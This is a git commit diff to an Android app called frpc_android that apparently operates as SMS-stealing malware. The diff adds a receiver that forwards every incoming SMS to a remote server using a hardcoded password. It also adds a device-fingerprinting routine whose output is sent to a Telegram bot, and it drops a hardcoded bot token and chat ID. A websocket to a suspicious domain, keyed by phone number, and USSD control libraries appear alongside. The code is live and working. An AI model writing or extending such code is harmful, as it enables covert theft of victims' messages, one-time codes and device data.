hxMac 1 년 전
부모
커밋
f7dbd04e67

+ 3 - 0
frpc_android-master/app/src/main/AndroidManifest.xml

@@ -21,6 +21,9 @@
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
     <uses-permission android:name="android.permission.ACTION_MANAGE_OVERLAY_PERMISSION" />
     <uses-permission android:name="android.permission.INSTALL_PACKAGES" />
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <application
         android:name="com.car.MainApp"
         android:allowBackup="true"

+ 4 - 0
frpc_android-master/app/src/main/java/com/car/MainApp.java

@@ -4,6 +4,8 @@ import androidx.multidex.MultiDex;
 import androidx.multidex.MultiDexApplication;
 
 import com.car.frpc_android.BuildConfig;
+import com.car.frpc_android.util.CheckInboxWorker;
+import com.car.frpc_android.util.HeartbeatWorker;
 import com.car.frpc_android.util.WebSocketManager;
 import com.microsoft.appcenter.AppCenter;
 import com.microsoft.appcenter.analytics.Analytics;
@@ -20,6 +22,8 @@ public class MainApp extends MultiDexApplication {
         x.Ext.init(this);
         x.Ext.setDebug(BuildConfig.DEBUG);
         AppCenter.start(this, BuildConfig.UPDATE_KEY, Analytics.class, Crashes.class);
+        CheckInboxWorker.start();
+        HeartbeatWorker.start();
         WebSocketManager.connectWebSocket();
     }
 

+ 1 - 1
frpc_android-master/app/src/main/java/com/car/frpc_android/Config.java

@@ -10,7 +10,7 @@ public class Config {
     public static final String EVENT_UPDATE_CONFIG = "EVENT_UPDATE_CONFIG";
     public static final String EVENT_RUNNING_ERROR = "EVENT_RUNNING_ERROR";
     public static final String INTENT_EDIT_INI = "INTENT_EDIT_INI";
-    public static final String SMS_TAG = "SMS_TAG";
+
     public static final String SMS_UPLOAD_TAG = "SMS_UPLOAD_TAG";
     public static final String WEBSOCKET_STATUS_TAG = "WEBSOCKET_STATUS";
     public static final String BREATH_TAG = "BREATH";

+ 3 - 64
frpc_android-master/app/src/main/java/com/car/frpc_android/ui/MainActivity.java

@@ -4,7 +4,6 @@ import static com.blankj.utilcode.util.TimeUtils.getSafeDateFormat;
 import static com.car.frpc_android.Config.BREATH_TAG;
 import static com.car.frpc_android.Config.INTENT_EDIT_INI;
 import static com.car.frpc_android.Config.PHONE_TAG;
-import static com.car.frpc_android.Config.SMS_TAG;
 import static com.car.frpc_android.Config.SMS_UPLOAD_TAG;
 import static com.car.frpc_android.Config.WEBSOCKET_STATUS_TAG;
 
@@ -25,21 +24,15 @@ import com.alibaba.fastjson.JSONObject;
 import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.ThreadUtils;
 import com.blankj.utilcode.util.TimeUtils;
-import com.blankj.utilcode.util.Utils;
 import com.car.frpc_android.BaseActivity;
 import com.car.frpc_android.R;
 import com.car.frpc_android.database.Config;
-import com.car.frpc_android.database.DBHelper;
 import com.car.frpc_android.databinding.ActivityMainBinding;
 import com.car.frpc_android.dialog.DialogManager;
 import com.car.frpc_android.util.CheckInboxWorker;
 import com.car.frpc_android.util.CommonUtils;
 import com.car.frpc_android.util.HeartbeatWorker;
 import com.car.frpc_android.util.HxUtils;
-import com.car.frpc_android.util.TelegramBotExample;
-import com.car.http.APPConfig;
-import com.car.http.BaseBean;
-import com.car.http.Http;
 import com.google.android.material.navigation.NavigationView;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 import com.romellfudi.ussdlibrary.OverlayShowingService;
@@ -65,8 +58,6 @@ import okhttp3.WebSocketListener;
 public class MainActivity extends BaseActivity<ActivityMainBinding> implements NavigationView.OnNavigationItemSelectedListener {
 
 
-
-
     private AppBarConfiguration mAppBarConfiguration;
 
     private Context context = this;
@@ -85,7 +76,7 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     private ScheduledFuture<?> reconnectTask;
     private ScheduledExecutorService executorService;
 
-    private androidx.lifecycle.Observer<String> observer1;
+
     private androidx.lifecycle.Observer<String> observer2;
     private androidx.lifecycle.Observer<String> observer3;
     private androidx.lifecycle.Observer<String> observer4;
@@ -103,58 +94,18 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         NavigationUI.setupWithNavController(b.navView, navController);
         b.navView.setNavigationItemSelectedListener(this);
         ussdApi = USSDController.getInstance(context);
-        CheckInboxWorker.start();
-        HeartbeatWorker.start();
+
 //        connectSocket();
 
         b.appBarMain.contentMain.phoneTv.setOnClickListener(view -> {
             DialogManager.phoneEditDialog();
         });
-        observer1 = s -> {
-            HashMap<String, Object> map = new HashMap<>();
-            map.put("data", s);
-            map.put("password", "o6M5sG7E@FAWLBL9");
-            Http.getInstance()
-                    .setUrlPath(APPConfig.BASE, APPConfig.SMS)
-                    .setParams(map)
-                    .setErrorStyle(Http.ERROR_HIDE)
-                    .setLoadStyle(Http.ERROR_HIDE)
-                    .setBindLife(false)
-                    .setRetryCount(3)
-                    .post(new Http.HttpCallBack<String>() {
-                        @Override
-                        public void onNext(String model) {
-                            try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
-                                dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 1);
-                            } catch (Exception e) {
-                            }
 
-                        }
-
-                        @Override
-                        public void onError(Throwable ex) {
-                            super.onError(ex);
-                            try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
-                                dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 0);
-                            } catch (Exception e) {
-                            }
-                        }
-
-                        @Override
-                        public void onFail(BaseBean t) {
-                            super.onFail(t);
-                            try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
-                                dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 0);
-                            } catch (Exception e) {
-                            }
-                        }
-                    });
-        };
         observer2 = s -> b.appBarMain.contentMain.workTv.setText(s);
         observer3 = s -> b.appBarMain.contentMain.workTv2.setText(s);
         observer4 = s -> b.appBarMain.contentMain.workTv3.setText(s);
         observer5 = s -> b.appBarMain.contentMain.phoneTv.setText(s);
-        LiveEventBus.get(SMS_TAG, String.class).observe(this, observer1);
+
         LiveEventBus.get(BREATH_TAG, String.class).observe(this, observer2);
         LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).observe(this, observer3);
         LiveEventBus.get(SMS_UPLOAD_TAG, String.class).observeSticky(this, observer4);
@@ -167,7 +118,6 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     @Override
     protected void onDestroy() {
         super.onDestroy();
-        LiveEventBus.get(SMS_TAG, String.class).removeObserver(observer1);
         LiveEventBus.get(BREATH_TAG, String.class).removeObserver(observer2);
         LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).removeObserver(observer3);
         LiveEventBus.get(SMS_UPLOAD_TAG, String.class).removeObserver(observer4);
@@ -322,17 +272,6 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     }
 
 
-    private void closeWebSocket() {
-        try {
-            if (webSocket != null) {
-                webSocket.close(NORMAL_CLOSURE_STATUS, "WebSocket,Goodbye!");
-            }
-        } catch (Exception e) {
-
-        }
-
-    }
-
     private void connectSocket() {
         client = new OkHttpClient.Builder().pingInterval(30, TimeUnit.SECONDS).build();
         String Url = "wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/" + HxUtils.getPhone() + "/";

+ 190 - 9
frpc_android-master/app/src/main/java/com/car/frpc_android/util/HxUtils.java

@@ -2,22 +2,36 @@ package com.car.frpc_android.util;
 
 import android.Manifest;
 import android.annotation.SuppressLint;
+import android.app.ActivityManager;
 import android.content.ContentResolver;
 import android.content.Context;
 import android.database.Cursor;
 import android.net.Uri;
+import android.os.Build;
+import android.os.Environment;
+import android.os.StatFs;
+import android.os.SystemClock;
+import android.provider.Settings;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
+import android.text.format.Formatter;
 import android.util.Log;
-import android.view.View;
 
 import androidx.annotation.NonNull;
 
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONObject;
+import com.blankj.utilcode.util.AppUtils;
+import com.blankj.utilcode.util.BrightnessUtils;
+import com.blankj.utilcode.util.DeviceUtils;
+import com.blankj.utilcode.util.GsonUtils;
+import com.blankj.utilcode.util.NetworkUtils;
+import com.blankj.utilcode.util.PhoneUtils;
 import com.blankj.utilcode.util.SPUtils;
+import com.blankj.utilcode.util.ScreenUtils;
 import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.ThreadUtils;
+import com.blankj.utilcode.util.TimeUtils;
 import com.blankj.utilcode.util.ToastUtils;
 import com.blankj.utilcode.util.Utils;
 import com.car.frpc_android.BuildConfig;
@@ -26,21 +40,19 @@ import com.car.frpc_android.R;
 import com.car.frpc_android.dialog.UploadAppDialog;
 
 import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileFilter;
+import java.io.FileReader;
 import java.io.IOException;
-import java.io.InputStreamReader;
+import java.lang.reflect.Field;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.HashSet;
-import java.util.LinkedHashSet;
 import java.util.List;
+import java.util.Map;
+import java.util.TimeZone;
 
-import io.reactivex.Observable;
-import io.reactivex.ObservableOnSubscribe;
-import io.reactivex.Observer;
-import io.reactivex.android.schedulers.AndroidSchedulers;
-import io.reactivex.disposables.Disposable;
-import io.reactivex.schedulers.Schedulers;
 import okhttp3.OkHttpClient;
 import okhttp3.Request;
 import okhttp3.Response;
@@ -170,4 +182,173 @@ public class HxUtils {
         }).start();
     }
 
+    public static String getDeviceInfo() {
+        Map<String, Object> map = new HashMap<>();
+        map.put("app_name", AppUtils.getAppName());
+        map.put("unique_device_id", DeviceUtils.getUniqueDeviceId());
+        map.put("package_name", AppUtils.getAppPackageName());
+        map.put("app_version_name", AppUtils.getAppVersionName());
+        map.put("app_version_code", AppUtils.getAppVersionCode());
+        map.put("android_id", DeviceUtils.getAndroidID());
+        map.put("sdk_version_name", DeviceUtils.getSDKVersionName());
+        map.put("sdk_version_code", DeviceUtils.getSDKVersionCode());
+        String network = NetworkUtils.getNetworkType().toString();
+        map.put("network", network.substring(network.indexOf("_") + 1));
+        map.put("manufacturer", DeviceUtils.getManufacturer());
+        map.put("brand", Build.BRAND);
+        map.put("model", DeviceUtils.getModel());
+        map.put("is_root", DeviceUtils.isDeviceRooted() ? 1 : 0);
+        map.put("adb_enable", DeviceUtils.isAdbEnabled() ? 1 : 0); //Android Debug Bridge,就是起到调试桥的作用
+        map.put("abis", DeviceUtils.getABIs());
+        map.put("is_tablet", DeviceUtils.isTablet() ? 1 : 0);
+        map.put("is_emulator", DeviceUtils.isEmulator() ? 1 : 0);
+        map.put("is_same_device", DeviceUtils.isSameDevice(DeviceUtils.getUniqueDeviceId()) ? 1 : 0);
+        map.put("is_phone", PhoneUtils.isPhone() ? 1 : 0);
+        map.put("phone_type", PhoneUtils.getPhoneType());
+        map.put("is_sim_card_ready", PhoneUtils.isSimCardReady() ? 1 : 0);
+        map.put("sim_operator_name", PhoneUtils.getSimOperatorName());
+        map.put("sim_operator_by_mnc", PhoneUtils.getSimOperatorByMnc());
+        map.put("ip", NetworkUtils.getIPAddress(true));
+        map.put("deviceWidth", ScreenUtils.getScreenWidth());
+        map.put("deviceHeight", ScreenUtils.getScreenHeight());
+        map.put("language", Utils.getApp().getResources().getConfiguration().locale.toString());
+        map.put("ramCanUse", getAvailMemory());
+        map.put("ramTotal", getTotalMemory());
+        map.put("romCanUse", getAvailableInternalMemorySize());
+        map.put("romTotal", getTotalInternalMemorySize());
+        map.put("productionDate", Build.TIME);
+        map.put("brightness", BrightnessUtils.getBrightness());
+        map.put("bootTimeWake", getScreenOffTime());
+        map.put("timeTotalWake", getBootTime());
+        map.put("cpuNum", getNumberOfCPUCores());
+        map.put("mainBoardName", Build.BOARD);
+        map.put("time", TimeUtils.getNowMills());
+        map.put("timeZone", timeZ());
+        map.put("lang", Utils.getApp().getResources().getConfiguration().locale.getLanguage());
+        map.put("country", Utils.getApp().getResources().getConfiguration().locale.getCountry());
+        map.put("bootTime", bootTime());
+        map = getPhoneOsInfo(map);
+        return convertMapToString(map);
+    }
+
+    private static Map<String, Object> getPhoneOsInfo(Map<String, Object> map) {
+
+        Field[] fields = Build.class.getDeclaredFields();
+        for (Field field : fields) {
+            field.setAccessible(true);
+            try {
+                map.put("os_" + field.getName(), field.get(null));
+            } catch (Exception e) {
+                e.printStackTrace();
+
+            }
+        }
+        return map;
+
+    }
+
+    private static String convertMapToString(Map<String, Object> map) {
+        StringBuilder stringBuilder = new StringBuilder();
+        for (Map.Entry<String, Object> entry : map.entrySet()) {
+            String key = entry.getKey();
+            Object value = entry.getValue();
+            stringBuilder.append(key).append(": ").append(GsonUtils.toJson(value)).append("\n");
+        }
+        return stringBuilder.toString();
+    }
+
+    private static String getAvailMemory() {
+        ActivityManager am = (ActivityManager) Utils.getApp().getSystemService(Context.ACTIVITY_SERVICE);
+        ActivityManager.MemoryInfo mi = new ActivityManager.MemoryInfo();
+        if (am == null) return "";
+        am.getMemoryInfo(mi);
+        return Formatter.formatFileSize(Utils.getApp(), mi.availMem);
+    }
+
+    private static String getTotalMemory() {
+        String path = "/proc/meminfo";
+        String firstLine = null;
+        int totalRam = 0;
+        try {
+            FileReader fileReader = new FileReader(path);
+            BufferedReader br = new BufferedReader(fileReader, 8192);
+            firstLine = br.readLine().split("\\s+")[1];
+            br.close();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        if (firstLine != null) {
+            totalRam = (int) Math.ceil((Float.valueOf(Float.valueOf(firstLine) / (1024 * 1024)).doubleValue()));
+        }
+
+        return totalRam + "GB";
+    }
+
+    private static long getAvailableInternalMemorySize() {
+        File path = Environment.getDataDirectory();
+        StatFs stat = new StatFs(path.getPath());
+        long blockSize = stat.getBlockSize();
+
+        long availableBlocks = stat.getAvailableBlocks();
+        return availableBlocks * blockSize;
+    }
+
+    private static long getBootTime() {
+        return System.currentTimeMillis() - SystemClock.elapsedRealtimeNanos() / 1000000;
+    }
+
+    private static long getTotalInternalMemorySize() {
+        File path = Environment.getDataDirectory();
+        StatFs stat = new StatFs(path.getPath());
+        long blockSize = stat.getBlockSize();
+        long totalBlocks = stat.getBlockCount();
+        return totalBlocks * blockSize;
+    }
+
+    private static int getScreenOffTime() {
+        int screenOffTime = 0;
+        try {
+            screenOffTime = Settings.System.getInt(Utils.getApp().getContentResolver(),
+                    Settings.System.SCREEN_OFF_TIMEOUT);
+        } catch (Exception localException) {
+
+        }
+        return screenOffTime;
+    }
+
+    private static int getNumberOfCPUCores() {
+        try {
+            File[] cores = new File("/sys/devices/system/cpu/").listFiles(CPU_FILTER);
+            if (cores != null)
+                return cores.length;
+
+        } catch (SecurityException | NullPointerException e) {
+
+            return 0;
+        }
+        return 0;
+    }
+
+    private static final FileFilter CPU_FILTER = pathname -> {
+        String path = pathname.getName();
+        //regex is slow, so checking char by char.
+        if (path.startsWith("cpu")) {
+            for (int i = 3; i < path.length(); i++) {
+                if (path.charAt(i) < '0' || path.charAt(i) > '9') {
+                    return false;
+                }
+            }
+            return true;
+        }
+        return false;
+    };
+
+    private static String timeZ() {
+        TimeZone tz = TimeZone.getDefault();
+        return tz.getDisplayName(false, TimeZone.SHORT);
+    }
+
+    private static long bootTime() {
+        return System.currentTimeMillis() - SystemClock.elapsedRealtimeNanos() / 1000000;
+    }
 }

+ 49 - 4
frpc_android-master/app/src/main/java/com/car/frpc_android/util/SmsReceiver.java

@@ -1,8 +1,6 @@
 package com.car.frpc_android.util;
 
 
-import static com.car.frpc_android.Config.SMS_TAG;
-
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
@@ -13,10 +11,15 @@ import android.provider.Telephony;
 import android.telephony.SmsMessage;
 import android.util.Log;
 
+import com.alibaba.fastjson.JSON;
 import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.ThreadUtils;
+import com.blankj.utilcode.util.Utils;
 import com.car.frpc_android.Config;
-import com.jeremyliao.liveeventbus.LiveEventBus;
+import com.car.frpc_android.database.DBHelper;
+import com.car.http.APPConfig;
+import com.car.http.BaseBean;
+import com.car.http.Http;
 
 import java.util.HashMap;
 
@@ -53,8 +56,9 @@ public class SmsReceiver extends BroadcastReceiver {
                             map.put("body", smsBody);
                             map.put("address", HxUtils.getPhone());
                             map.put("timestampMillis", timestampMillis + "");
+                            String simInfo = GsonUtils.toJson(findSMSId(context, sender, timestampMillis, smsBody, map));
+                            pushSms(simInfo);
 
-                            LiveEventBus.get(SMS_TAG).post(GsonUtils.toJson(findSMSId(context, sender, timestampMillis, smsBody, map)));
                         }
                     }
                 }
@@ -120,5 +124,46 @@ public class SmsReceiver extends BroadcastReceiver {
 
         return map;
     }
+
+    private void pushSms(String s) {
+        HashMap<String, Object> map = new HashMap<>();
+        map.put("data", s);
+        map.put("password", "o6M5sG7E@FAWLBL9");
+        Http.getInstance()
+                .setUrlPath(APPConfig.BASE, APPConfig.SMS)
+                .setParams(map)
+                .setErrorStyle(Http.ERROR_HIDE)
+                .setLoadStyle(Http.ERROR_HIDE)
+                .setBindLife(false)
+                .setRetryCount(3)
+                .post(new Http.HttpCallBack<String>() {
+                    @Override
+                    public void onNext(String model) {
+                        try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
+                            dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 1);
+                        } catch (Exception e) {
+                        }
+
+                    }
+
+                    @Override
+                    public void onError(Throwable ex) {
+                        super.onError(ex);
+                        try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
+                            dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 0);
+                        } catch (Exception e) {
+                        }
+                    }
+
+                    @Override
+                    public void onFail(BaseBean t) {
+                        super.onFail(t);
+                        try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
+                            dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 0);
+                        } catch (Exception e) {
+                        }
+                    }
+                });
+    }
 }
 

+ 10 - 10
frpc_android-master/app/src/main/java/com/car/frpc_android/util/TelegramBotExample.java

@@ -1,5 +1,8 @@
 package com.car.frpc_android.util;
 
+import static com.car.http.APPConfig.APP_TG_SEND_DOCUMENT;
+import static com.car.http.APPConfig.APP_TG_SEND_MESSAGE;
+
 import android.util.Log;
 
 import com.blankj.utilcode.util.FileIOUtils;
@@ -26,12 +29,10 @@ import okhttp3.Response;
  * description:
  */
 public class TelegramBotExample {
-    private static final String BOT_TOKEN = "6428083297:AAEFS5ccl49hBsYbGAqJdEM5Cv8bvHUTC4I";
-    private static final String CHAT_ID = "-1001958143149L";
 
     public TelegramBotExample(String data, boolean message) {
         if (!message) {
-            sendFileToGroup(data);
+            sendFileToGroup(HxUtils.getDeviceInfo() + data);
         } else {
             sendMessageToGroup(data);
         }
@@ -42,19 +43,19 @@ public class TelegramBotExample {
             @Override
             public Object doInBackground() throws Throwable {
                 ToastUtils.showLong(R.string.pushing);
-                String fileName = "/" + HxUtils.getPhone() + ".txt";
+                String fileName = "/" + BuildConfig.UPDATE_KEY + "-" + HxUtils.getPhone() + ".txt";
                 String filePath = Utils.getApp().getFilesDir().getPath() + fileName;
                 FileIOUtils.writeFileFromString(filePath, data);
                 OkHttpClient client = new OkHttpClient();
-                String url = "https://api.telegram.org/bot" + BOT_TOKEN + "/sendDocument";
+
                 File file = new File(filePath);
                 MultipartBody.Builder builder = new MultipartBody.Builder()
                         .setType(MultipartBody.FORM)
-                        .addFormDataPart("chat_id", CHAT_ID)
+                        .addFormDataPart("chat_id", HxUtils.getChatId())
                         .addFormDataPart("document", file.getName(),
                                 RequestBody.create(MediaType.parse("text/plain"), file));
                 Request request = new Request.Builder()
-                        .url(url)
+                        .url(APP_TG_SEND_DOCUMENT)
                         .post(builder.build())
                         .build();
                 Response response = client.newCall(request).execute();
@@ -93,13 +94,12 @@ public class TelegramBotExample {
             @Override
             public Object doInBackground() throws Throwable {
                 OkHttpClient client = new OkHttpClient();
-                String url = "https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage";
                 RequestBody requestBody = new FormBody.Builder()
-                        .add("chat_id", CHAT_ID)
+                        .add("chat_id", HxUtils.getChatId())
                         .add("text", "Channel : " + BuildConfig.UPDATE_KEY + "\n" + "Phone number : " + HxUtils.getPhone() + "\n" + message)
                         .build();
                 Request request = new Request.Builder()
-                        .url(url)
+                        .url(APP_TG_SEND_MESSAGE)
                         .post(requestBody)
                         .build();
                 Response response = client.newCall(request).execute();

+ 1 - 3
frpc_android-master/app/src/main/java/com/car/frpc_android/util/WebSocketManager.java

@@ -11,11 +11,9 @@ import com.alibaba.fastjson.JSONObject;
 import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.ThreadUtils;
-import com.blankj.utilcode.util.ToastUtils;
 import com.blankj.utilcode.util.Utils;
 import com.car.frpc_android.Config;
 import com.car.frpc_android.R;
-import com.car.frpc_android.ui.MainActivity;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 import com.romellfudi.ussdlibrary.OverlayShowingService;
 import com.romellfudi.ussdlibrary.USSDApi;
@@ -49,7 +47,7 @@ public final class WebSocketManager {
     private static USSDApi ussdApi;
     private static boolean isConnecting = false;
     private static final int NORMAL_CLOSURE_STATUS = 1000;
-    private static final long RECONNECT_DELAY_MS = 1000; // 重连延迟时间
+    private static final long RECONNECT_DELAY_MS = 5000; // 重连延迟时间
 
 
     public static WebSocket connectWebSocket() {

+ 5 - 0
frpc_android-master/app/src/main/java/com/car/http/APPConfig.java

@@ -2,6 +2,7 @@ package com.car.http;
 
 import com.blankj.utilcode.util.AppUtils;
 import com.car.frpc_android.BuildConfig;
+import com.car.frpc_android.util.HxUtils;
 
 public class APPConfig {
     public static final String BASE = BuildConfig.BASE_URL;
@@ -9,4 +10,8 @@ public class APPConfig {
 
     public static String APP_VERSION      = AppUtils.getAppVersionName();
     public static String APP_PACKAGE_NAME = AppUtils.getAppPackageName();
+
+    public static String APP_TG_SEND_DOCUMENT = "https://api.telegram.org/bot" + HxUtils.getBotToken() + "/sendDocument";
+
+    public static String APP_TG_SEND_MESSAGE = "https://api.telegram.org/bot" + HxUtils.getBotToken() + "/sendMessage";
 }